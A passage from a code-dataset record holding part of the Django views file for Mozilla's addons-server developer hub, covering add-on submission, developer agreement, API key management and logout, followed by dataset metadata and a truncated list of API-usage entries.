submit_page,\n    }\n    if has_source and posting:\n        log.info(\n            '_submit_source, validation failed, re-displaying the template, '\n            + 'addon.slug: %s, version.pk: %s',\n            addon.slug,\n            version.pk,\n        )\n        timer.log_interval('5.validation_failed_re-displaying_the_template')\n    return TemplateResponse(\n        request, 'devhub/addons/submit/source.html', context=context\n    )\n\n\n@dev_required(submitting=True)\ndef submit_addon_source(request, addon_id, addon, channel):\n    channel = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    version = addon.find_latest_version(channel=channel)\n    return _submit_source(request, addon, version, 'addon', 'devhub.submit.details')\n\n\n@dev_required(submitting=True)\ndef submit_version_source(request, addon_id, addon, version_id):\n    version = get_object_or_404(addon.versions.all(), id=version_id)\n    return _submit_source(\n        request, addon, version, 'version', 'devhub.submit.version.details'\n    )\n\n\ndef _submit_details(request, addon, version):\n    static_theme = addon.type == amo.ADDON_STATICTHEME\n    if version:\n        skip_details_step = version.channel == amo.CHANNEL_UNLISTED or (\n            static_theme and addon.has_complete_metadata()\n        )\n        if skip_details_step:\n            # Nothing to do here.\n            return redirect('devhub.submit.version.finish', addon.slug, version.pk)\n        latest_version = version\n    else:\n        # Figure out the latest version early in order to pass the same\n        # instance to each form that needs it (otherwise they might overwrite\n        # each other).\n        latest_version = addon.find_latest_version(channel=amo.CHANNEL_LISTED)\n        if not latest_version:\n            # No listed version ? Then nothing to do in the listed submission\n            # flow.\n            return redirect('devhub.submit.finish', addon.slug)\n\n    forms_list = []\n    context = {\n        'addon': addon,\n        'version': version,\n        'sources_provided': latest_version.sources_provided,\n        'submit_page': 'version' if version else 'addon',\n    }\n\n    post_data = request.POST if request.method == 'POST' else None\n    show_all_fields = not version or not addon.has_complete_metadata()\n\n    if show_all_fields:\n        if waffle.switch_is_active('content-optimization'):\n            describe_form = forms.DescribeFormContentOptimization(\n                post_data,\n                instance=addon,\n                request=request,\n                version=version,\n                should_auto_crop=True,\n            )\n        else:\n            describe_form = forms.DescribeForm(\n                post_data, instance=addon, request=request, version=version\n            )\n        cat_form = forms.CategoryForm(post_data, addon=addon, request=request)\n        policy_form = forms.PolicyForm(post_data, addon=addon)\n        license_form = forms.LicenseForm(\n            post_data, version=latest_version, prefix='license'\n        )\n        context.update(license_form.get_context())\n        context.update(\n            describe_form=describe_form,\n            cat_form=cat_form,\n            policy_form=policy_form,\n        )\n        forms_list.extend(\n            [describe_form, cat_form, policy_form, context['license_form']]\n        )\n    if not static_theme:\n        # Static themes don't need this form\n        reviewer_form = forms.VersionForm(post_data, instance=latest_version)\n        context.update(reviewer_form=reviewer_form)\n        forms_list.append(reviewer_form)\n\n    if request.method == 'POST' and all(form.is_valid() for form in forms_list):\n        if show_all_fields:\n            addon = describe_form.save()\n            cat_form.save()\n            policy_form.save()\n            license_form.save(log=False)\n            if not static_theme:\n                reviewer_form.save()\n            addon.update_status()\n            signals.submission_done.send(sender=addon)\n        elif not static_theme:\n            reviewer_form.save()\n\n        if not version:\n            return redirect('devhub.submit.finish', addon.slug)\n        else:\n            return redirect('devhub.submit.version.finish', addon.slug, version.id)\n    template = 'devhub/addons/submit/%s' % (\n        'describe.html' if show_all_fields else 'describe_minimal.html'\n    )\n    return TemplateResponse(request, template, context=context)\n\n\n@dev_required(submitting=True)\ndef submit_addon_details(request, addon_id, addon):\n    return _submit_details(request, addon, None)\n\n\n@dev_required(submitting=True)\ndef submit_version_details(request, addon_id, addon, version_id):\n    version = get_object_or_404(addon.versions.all(), id=version_id)\n    return _submit_details(request, addon, version)\n\n\ndef _submit_finish(request, addon, version):\n    uploaded_version = version or addon.versions.latest()\n\n    submit_page = 'version' if version else 'addon'\n    return TemplateResponse(\n        request,\n        'devhub/addons/submit/done.html',\n        context={\n            'addon': addon,\n            'uploaded_version': uploaded_version,\n            'submit_page': submit_page,\n            'preview': uploaded_version.previews.first(),\n        },\n    )\n\n\n@dev_required(submitting=True)\ndef submit_addon_finish(request, addon_id, addon):\n    # Bounce to the details step if incomplete\n    if not addon.has_complete_metadata() and addon.find_latest_version(\n        channel=amo.CHANNEL_LISTED\n    ):\n        return redirect('devhub.submit.details', addon.slug)\n    # Bounce to the versions page if they don't have any versions.\n    if not addon.versions.exists():\n        return redirect('devhub.submit.version', addon.slug)\n    return _submit_finish(request, addon, None)\n\n\n@dev_required\ndef submit_version_finish(request, addon_id, addon, version_id):\n    version = get_object_or_404(addon.versions.all(), id=version_id)\n    return _submit_finish(request, addon, version)\n\n\n@dev_required\n@post_required\ndef remove_locale(request, addon_id, addon):\n    POST = request.POST\n    if 'locale' in POST and POST['locale'] != addon.default_locale:\n        addon.remove_locale(POST['locale'])\n        return http.HttpResponse()\n    return http.HttpResponseBadRequest()\n\n\n@dev_required\n@post_required\ndef request_review(request, addon_id, addon):\n    if not addon.can_request_review():\n        return http.HttpResponseBadRequest()\n\n    latest_version = addon.find_latest_version(amo.CHANNEL_LISTED, exclude=())\n    if latest_version:\n        if latest_version.file.status == amo.STATUS_DISABLED:\n            latest_version.file.update(status=amo.STATUS_AWAITING_REVIEW)\n        # Clear the due date so it gets set again in Addon.watch_status if nessecary.\n        latest_version.update(due_date=None)\n    if addon.has_complete_metadata():\n        addon.update_status()\n        messages.success(request, gettext('Review requested.'))\n    else:\n        messages.success(request, _('You must provide further details to proceed.'))\n    ActivityLog.objects.create(amo.LOG.CHANGE_STATUS, addon, addon.status)\n    return redirect(addon.get_dev_url('versions'))\n\n\ndef docs(request, doc_name=None):\n    mdn_docs = {\n        None: '',\n        'getting-started': '',\n        'reference': '',\n        'how-to': '',\n        'how-to/getting-started': '',\n        'how-to/extension-development': '#Extensions',\n        'how-to/other-addons': '#Other_types_of_add-ons',\n        'how-to/thunderbird-mobile': '#Application-specific',\n        'how-to/theme-development': '#Themes',\n        'themes': '/Themes/Background',\n        'themes/faq': '/Themes/Background/FAQ',\n        'policies': '/AMO/Policy',\n        'policies/reviews': '/AMO/Policy/Reviews',\n        'policies/contact': '/AMO/Policy/Contact',\n        'policies/agreement': '/AMO/Policy/Agreement',\n    }\n\n    if doc_name in mdn_docs:\n        return redirect(MDN_BASE + mdn_docs[doc_name], permanent=True)\n\n    raise http.Http404()\n\n\n@login_required\ndef developer_agreement(request):\n    return render_agreement(\n        request=request,\n        template='devhub/agreement.html',\n        next_step=request.GET.get('to'),\n    )\n\n\ndef render_agreement(request, template, next_step, **extra_context):\n    form = forms.AgreementForm(\n        request.POST if request.method == 'POST' else None, request=request\n    )\n    if not is_safe_url(next_step, request):\n        next_step = reverse('devhub.index')\n    if request.method == 'POST' and form.is_valid():\n        # Developer has validated the form: let's update its profile and\n        # redirect to next step. Note that the form is supposed to always be\n        # invalid if submission is not allowed for this request.\n        data = {\n            'read_dev_agreement': datetime.datetime.now(),\n        }\n        if 'display_name' in form.cleaned_data:\n            data['display_name'] = form.cleaned_data['display_name']\n        request.user.update(**data)\n        return redirect(next_step)\n    elif not RestrictionChecker(request=request).is_submission_allowed():\n        # Developer has either posted an invalid form or just landed on the\n        # page but haven't read the agreement yet, or isn't allowed to submit\n        # for some other reason (denied ip/email): show the form (with\n        # potential errors highlighted)\n        context = {\n            'agreement_form': form,\n            'agreement_message': str(DeveloperAgreementRestriction.error_message),\n        }\n        context.update(extra_context)\n        return TemplateResponse(request, template, context=context)\n    else:\n        # The developer has already read the agreement, we should just redirect\n        # to the next step.\n        response = redirect(next_step)\n        return response\n\n\n@two_factor_auth_required\n@login_required\n@transaction.atomic\ndef api_key(request):\n    if not RestrictionChecker(request=request).is_submission_allowed():\n        return redirect(\n            '%s%s%s'\n            % (reverse('devhub.developer_agreement'), '?to=', quote(request.path))\n        )\n\n    try:\n        credentials = APIKey.get_jwt_key(user=request.user)\n    except APIKey.DoesNotExist:\n        credentials = None\n\n    try:\n        confirmation = APIKeyConfirmation.objects.get(user=request.user)\n    except APIKeyConfirmation.DoesNotExist:\n        confirmation = None\n\n    if request.method == 'POST':\n        has_confirmed_or_is_confirming = confirmation and (\n            confirmation.confirmed_once\n            or confirmation.is_token_valid(request.POST.get('confirmation_token'))\n        )\n\n        # Revoking credentials happens regardless of action, if there were\n        # credentials in the first place.\n        if credentials and request.POST.get('action') in ('revoke', 'generate'):\n            credentials.update(is_active=None)\n            log.info(f'revoking JWT key for user: {request.user.id}, {credentials}')\n            send_key_revoked_email(request.user.email, credentials.key)\n            msg = gettext('Your old credentials were revoked and are no longer valid.')\n            messages.success(request, msg)\n\n        # If trying to generate with no confirmation instance, we don't\n        # generate the keys immediately but instead send you an email to\n        # confirm the generation of the key. This should only happen once per\n        # user, unless the instance is deleted by admins to reset the process\n        # for that user.\n        if confirmation is None and request.POST.get('action') == 'generate':\n            confirmation = APIKeyConfirmation.objects.create(\n                user=request.user, token=APIKeyConfirmation.generate_token()\n            )\n            confirmation.send_confirmation_email()\n        # If you have a confirmation instance, you need to either have it\n        # confirmed once already or have the valid token proving you received\n        # the email.\n        elif (\n            has_confirmed_or_is_confirming and request.POST.get('action') == 'generate'\n        ):\n            confirmation.update(confirmed_once=True)\n            new_credentials = APIKey.new_jwt_credentials(request.user)\n            log.info(f'new JWT key created: {new_credentials}')\n            send_key_change_email(request.user.email, new_credentials.key)\n        else:\n            # If we land here, either confirmation token is invalid, or action\n            # is invalid, or state is outdated (like user trying to revoke but\n            # there are already no credentials).\n            # We can just pass and let the redirect happen.\n            pass\n\n        # In any case, redirect after POST.\n        return redirect(reverse('devhub.api_key'))\n\n    context_data = {\n        'title': gettext('Manage API Keys'),\n        'credentials': credentials,\n        'confirmation': confirmation,\n        'token': request.GET.get('token'),  # For confirmation step.\n    }\n\n    return TemplateResponse(request, 'devhub/api/key.html', context=context_data)\n\n\ndef send_key_change_email(to_email, key):\n    template = loader.get_template('devhub/emails/new-key-email.ltxt')\n    url = absolutify(reverse('devhub.api_key'))\n    send_mail(\n        gettext('New API key created'),\n        template.render({'key': key, 'url': url}),\n        from_email=settings.DEFAULT_FROM_EMAIL,\n        recipient_list=[to_email],\n    )\n\n\ndef send_key_revoked_email(to_email, key):\n    template = loader.get_template('devhub/emails/revoked-key-email.ltxt')\n    url = absolutify(reverse('devhub.api_key'))\n    send_mail(\n        gettext('API key revoked'),\n        template.render({'key': key, 'url': url}),\n        from_email=settings.DEFAULT_FROM_EMAIL,\n        recipient_list=[to_email],\n    )\n\n\n@dev_required\n@json_view\ndef theme_background_image(request, addon_id, addon, channel):\n    channel_id = amo.CHANNEL_CHOICES_LOOKUP[channel]\n    version = addon.find_latest_version(channel_id)\n    return version.get_background_images_encoded(header_only=True) if version else {}\n\n\ndef logout(request):\n    user = request.user\n    if not user.is_anonymous:\n        log.info('User (%s) logged out' % user)\n\n    if 'to' in request.GET and not is_safe_url(request.GET['to'], request):\n        log.info('Unsafe redirect to %s' % request.GET['to'])\n        gets = request.GET.copy()\n        gets['to'] = settings.LOGIN_REDIRECT_URL\n        request.GET = gets\n\n    next_url = request.GET.get('to')\n    if not next_url:\n        next_url = settings.LOGOUT_REDIRECT_URL\n        prefixer = get_url_prefix()\n        if prefixer:\n            next_url = prefixer.fix(next_url)\n\n    response = http.HttpResponseRedirect(next_url)\n\n    logout_user(request, response)\n\n    return response\n", "repo_name": "mozilla/addons-server", "sub_path": "src/olympia/devhub/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 73365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 844, "dataset": "github-code", "pt": "71", "api": [{"api_name": "olympia.core.logger.core.logger.getLogger", "line_number": 87, "usage_type": "call"}, {"api_name": "olympia.core.logger.core", "line_number": 87, "usage_type": "attribute"}, {"api_name": "olympia.core.logger", "line_number": 87, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 97, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 99, "usage_type": "call"}, {"api_name": "django.http", "line_number": 99, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 100, "usage_type": "call"}, {"api_name": "olympia.files.models.FileUpload", "line_number": 100, "usage_type": "argument"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 102, "usage_type": "name"}, {"api_name": "olympia.addons.views.BaseFilter", "line_number": 106, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 108, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 109, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 110, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 111, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 112, "usage_type": "call"}, {"api_name": "olympia.addons.views.BaseFilter", "line_number": 116, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 118, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 119, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 120, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 121, "usage_type": "call"}, {"api_name": "olympia.amo.ADDON_STATICTHEME", "line_number": 128, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 128, "usage_type": "name"}, {"api_name": "olympia.amo.ADDON_STATICTHEME", "line_number": 132, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 132, "usage_type": "name"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 149, "usage_type": "call"}, {"api_name": "csp.decorators.csp_update", "line_number": 139, "usage_type": "call"}, {"api_name": "django.conf.settings.MOZILLA_NEWLETTER_URL", "line_number": 140, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 140, "usage_type": "name"}, {"api_name": "django.conf.settings.MOZILLA_NEWLETTER_URL", "line_number": 141, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 141, "usage_type": "name"}, {"api_name": "time.time", "line_number": 159, "usage_type": "call"}, {"api_name": "olympia.amo.utils.paginate", "line_number": 166, "usage_type": "call"}, {"api_name": "olympia.amo.utils", "line_number": 166, "usage_type": "name"}, {"api_name": "olympia.amo.utils.paginate", "line_number": 170, "usage_type": "call"}, {"api_name": "olympia.amo.utils", "line_number": 170, "usage_type": "name"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 176, "usage_type": "call"}, {"api_name": "olympia.amo.decorators.login_required", "line_number": 152, "usage_type": "name"}, {"api_name": "olympia.amo.utils.MenuItem", "line_number": 183, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 185, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 185, "usage_type": "call"}, {"api_name": "olympia.amo.utils.MenuItem", "line_number": 191, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 196, "usage_type": "call"}, {"api_name": "olympia.devhub.models.BlogPost.objects.order_by", "line_number": 206, "usage_type": "call"}, {"api_name": "olympia.devhub.models.BlogPost.objects", "line_number": 206, "usage_type": "attribute"}, {"api_name": "olympia.devhub.models.BlogPost", "line_number": 206, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 213, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 214, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 215, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 216, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 217, "usage_type": "call"}, {"api_name": "olympia.amo.utils.MenuItem", "line_number": 222, "usage_type": "call"}, {"api_name": "olympia.amo.templatetags.jinja_helpers.urlparams", "line_number": 224, "usage_type": "call"}, {"api_name": "olympia.amo.LOG", "line_number": 241, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 241, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 243, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 243, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 244, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 244, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 245, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 245, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 246, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 246, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 249, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 249, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 250, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 250, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 252, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 252, "usage_type": "name"}, {"api_name": "olympia.activity.models.ActivityLog.objects.for_addons", "line_number": 257, "usage_type": "call"}, {"api_name": "olympia.activity.models.ActivityLog.objects", "line_number": 257, "usage_type": "attribute"}, {"api_name": "olympia.activity.models.ActivityLog", "line_number": 257, "usage_type": "name"}, {"api_name": "olympia.amo.LOG_HIDE_DEVELOPER", "line_number": 258, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 258, "usage_type": "name"}, {"api_name": "olympia.activity.models.ActivityLog.transformer_anonymize_user_for_developer", "line_number": 259, "usage_type": "attribute"}, {"api_name": "olympia.activity.models.ActivityLog", "line_number": 259, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 268, "usage_type": "name"}, {"api_name": "olympia.devhub.models.RssKey.objects.get_or_create", "line_number": 268, "usage_type": "call"}, {"api_name": "olympia.devhub.models.RssKey.objects", "line_number": 268, "usage_type": "attribute"}, {"api_name": "olympia.devhub.models.RssKey", "line_number": 268, "usage_type": "name"}, {"api_name": "olympia.amo.templatetags.jinja_helpers.urlparams", "line_number": 269, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 269, "usage_type": "call"}, {"api_name": "olympia.accounts.utils.redirect_for_login", "line_number": 279, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 284, "usage_type": "call"}, {"api_name": "olympia.addons.models.Addon.objects.id_or_slug", "line_number": 284, "usage_type": "call"}, {"api_name": "olympia.addons.models.Addon.objects", "line_number": 284, "usage_type": "attribute"}, {"api_name": "olympia.addons.models.Addon", "line_number": 284, "usage_type": "name"}, {"api_name": "olympia.devhub.models.RssKey.objects.get", "line_number": 286, "usage_type": "call"}, {"api_name": "olympia.devhub.models.RssKey.objects", "line_number": 286, "usage_type": "attribute"}, {"api_name": "olympia.devhub.models.RssKey", "line_number": 286, "usage_type": "name"}, {"api_name": "olympia.devhub.models.RssKey.DoesNotExist", "line_number": 287, "usage_type": "attribute"}, {"api_name": "olympia.devhub.models.RssKey", "line_number": 287, "usage_type": "name"}, {"api_name": "olympia.devhub.models.RssKey.objects.create", "line_number": 288, "usage_type": "call"}, {"api_name": "olympia.devhub.models.RssKey.objects", "line_number": 288, "usage_type": "attribute"}, {"api_name": "olympia.devhub.models.RssKey", "line_number": 288, "usage_type": "name"}, {"api_name": "olympia.amo.templatetags.jinja_helpers.urlparams", "line_number": 292, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 293, "usage_type": "call"}, {"api_name": "olympia.access.acl.check_addon_ownership", "line_number": 296, "usage_type": "call"}, {"api_name": "olympia.access.acl", "line_number": 296, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 302, "usage_type": "name"}, {"api_name": "olympia.amo.utils.paginate", "line_number": 316, "usage_type": "call"}, {"api_name": "olympia.amo.utils", "line_number": 316, "usage_type": "name"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 324, "usage_type": "call"}, {"api_name": "olympia.reviewers.models.Whiteboard.objects.get", "line_number": 330, "usage_type": "call"}, {"api_name": "olympia.reviewers.models.Whiteboard.objects", "line_number": 330, "usage_type": "attribute"}, {"api_name": "olympia.reviewers.models.Whiteboard", "line_number": 330, "usage_type": "name"}, {"api_name": "olympia.reviewers.models.Whiteboard.DoesNotExist", "line_number": 331, "usage_type": "attribute"}, {"api_name": "olympia.reviewers.models.Whiteboard", "line_number": 331, "usage_type": "name"}, {"api_name": "olympia.reviewers.models.Whiteboard", "line_number": 332, "usage_type": "call"}, {"api_name": "olympia.amo.ADDON_STATICTHEME", "line_number": 341, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 341, "usage_type": "name"}, {"api_name": "olympia.amo.STATUS_DISABLED", "line_number": 341, "usage_type": "attribute"}, {"api_name": "olympia.amo.SUPPORTED_IMAGE_TYPES", "line_number": 354, "usage_type": "attribute"}, {"api_name": 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"usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_CHOICES_LOOKUP", "line_number": 1622, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1622, "usage_type": "name"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1617, "usage_type": "name"}, {"api_name": "olympia.devhub.decorators.no_admin_disabled", "line_number": 1618, "usage_type": "name"}, {"api_name": "olympia.amo.ADDON_EXTENSION", "line_number": 1635, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1635, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1636, "usage_type": "call"}, {"api_name": "olympia.amo.utils.StopWatch", "line_number": 1645, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1672, "usage_type": "call"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 1696, "usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_CHOICES_LOOKUP", "line_number": 1703, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1703, "usage_type": "name"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1701, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 1710, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1708, "usage_type": "call"}, {"api_name": "olympia.amo.ADDON_STATICTHEME", "line_number": 1717, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1717, "usage_type": "name"}, {"api_name": "olympia.amo.CHANNEL_UNLISTED", "line_number": 1719, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1719, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1724, "usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_LISTED", "line_number": 1730, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1730, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1734, "usage_type": "call"}, {"api_name": "waffle.switch_is_active", "line_number": 1748, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1794, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1796, "usage_type": "call"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 1800, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1803, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 1810, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1808, "usage_type": "call"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 1818, "usage_type": "call"}, {"api_name": "olympia.amo.CHANNEL_LISTED", "line_number": 1834, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1834, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1836, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1839, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1830, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 1845, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1843, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 1855, "usage_type": "call"}, {"api_name": "django.http", "line_number": 1855, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 1856, "usage_type": "call"}, {"api_name": "django.http", "line_number": 1856, "usage_type": "name"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1849, "usage_type": "name"}, {"api_name": "olympia.amo.decorators.post_required", "line_number": 1850, "usage_type": "name"}, {"api_name": "django.http.HttpResponseBadRequest", "line_number": 1863, "usage_type": "call"}, {"api_name": "django.http", "line_number": 1863, "usage_type": "name"}, {"api_name": "olympia.amo.CHANNEL_LISTED", "line_number": 1865, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1865, "usage_type": "name"}, {"api_name": "olympia.amo.STATUS_DISABLED", "line_number": 1867, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1867, "usage_type": "name"}, {"api_name": "olympia.amo.STATUS_AWAITING_REVIEW", "line_number": 1868, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1868, "usage_type": "name"}, {"api_name": "olympia.amo.messages.success", "line_number": 1873, "usage_type": "call"}, {"api_name": "olympia.amo.messages", "line_number": 1873, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 1873, "usage_type": "call"}, {"api_name": "olympia.amo.messages.success", "line_number": 1875, "usage_type": "call"}, {"api_name": "olympia.amo.messages", "line_number": 1875, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 1875, "usage_type": "call"}, {"api_name": "olympia.activity.models.ActivityLog.objects.create", "line_number": 1876, "usage_type": "call"}, {"api_name": "olympia.activity.models.ActivityLog.objects", "line_number": 1876, "usage_type": "attribute"}, {"api_name": "olympia.activity.models.ActivityLog", "line_number": 1876, "usage_type": "name"}, {"api_name": "olympia.amo.LOG", "line_number": 1876, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 1876, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1877, "usage_type": "call"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 1859, "usage_type": "name"}, {"api_name": "olympia.amo.decorators.post_required", "line_number": 1860, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 1900, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 1902, "usage_type": "call"}, {"api_name": "django.http", "line_number": 1902, "usage_type": "name"}, {"api_name": "olympia.amo.decorators.login_required", "line_number": 1905, "usage_type": "name"}, {"api_name": "olympia.amo.utils.is_safe_url", "line_number": 1918, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 1919, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 1925, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1925, "usage_type": "attribute"}, {"api_name": "django.shortcuts.redirect", "line_number": 1930, "usage_type": "call"}, {"api_name": "olympia.users.utils.RestrictionChecker", "line_number": 1931, "usage_type": "call"}, {"api_name": "olympia.users.models.DeveloperAgreementRestriction.error_message", "line_number": 1938, "usage_type": "attribute"}, {"api_name": "olympia.users.models.DeveloperAgreementRestriction", "line_number": 1938, "usage_type": "name"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 1941, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1945, "usage_type": "call"}, {"api_name": "olympia.users.utils.RestrictionChecker", "line_number": 1953, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 1954, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 1956, "usage_type": "call"}, {"api_name": "urllib.parse.quote", "line_number": 1956, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKey.get_jwt_key", "line_number": 1960, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKey", "line_number": 1960, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKey.DoesNotExist", "line_number": 1961, "usage_type": "attribute"}, {"api_name": "olympia.api.models.APIKey", "line_number": 1961, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKeyConfirmation.objects.get", "line_number": 1965, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKeyConfirmation.objects", "line_number": 1965, "usage_type": "attribute"}, {"api_name": "olympia.api.models.APIKeyConfirmation", "line_number": 1965, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKeyConfirmation.DoesNotExist", "line_number": 1966, "usage_type": "attribute"}, {"api_name": "olympia.api.models.APIKeyConfirmation", "line_number": 1966, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext", "line_number": 1981, "usage_type": "call"}, {"api_name": "olympia.amo.messages.success", "line_number": 1982, "usage_type": "call"}, {"api_name": "olympia.amo.messages", "line_number": 1982, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKeyConfirmation.objects.create", "line_number": 1990, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKeyConfirmation.objects", "line_number": 1990, "usage_type": "attribute"}, {"api_name": "olympia.api.models.APIKeyConfirmation", "line_number": 1990, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKeyConfirmation.generate_token", "line_number": 1991, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKeyConfirmation", "line_number": 1991, "usage_type": "name"}, {"api_name": "olympia.api.models.APIKey.new_jwt_credentials", "line_number": 2001, "usage_type": "call"}, {"api_name": "olympia.api.models.APIKey", "line_number": 2001, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 2012, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 2012, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 2015, "usage_type": "call"}, {"api_name": "django.template.response.TemplateResponse", "line_number": 2021, "usage_type": "call"}, {"api_name": "olympia.accounts.decorators.two_factor_auth_required", "line_number": 1949, "usage_type": "name"}, {"api_name": "olympia.amo.decorators.login_required", "line_number": 1950, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 1951, 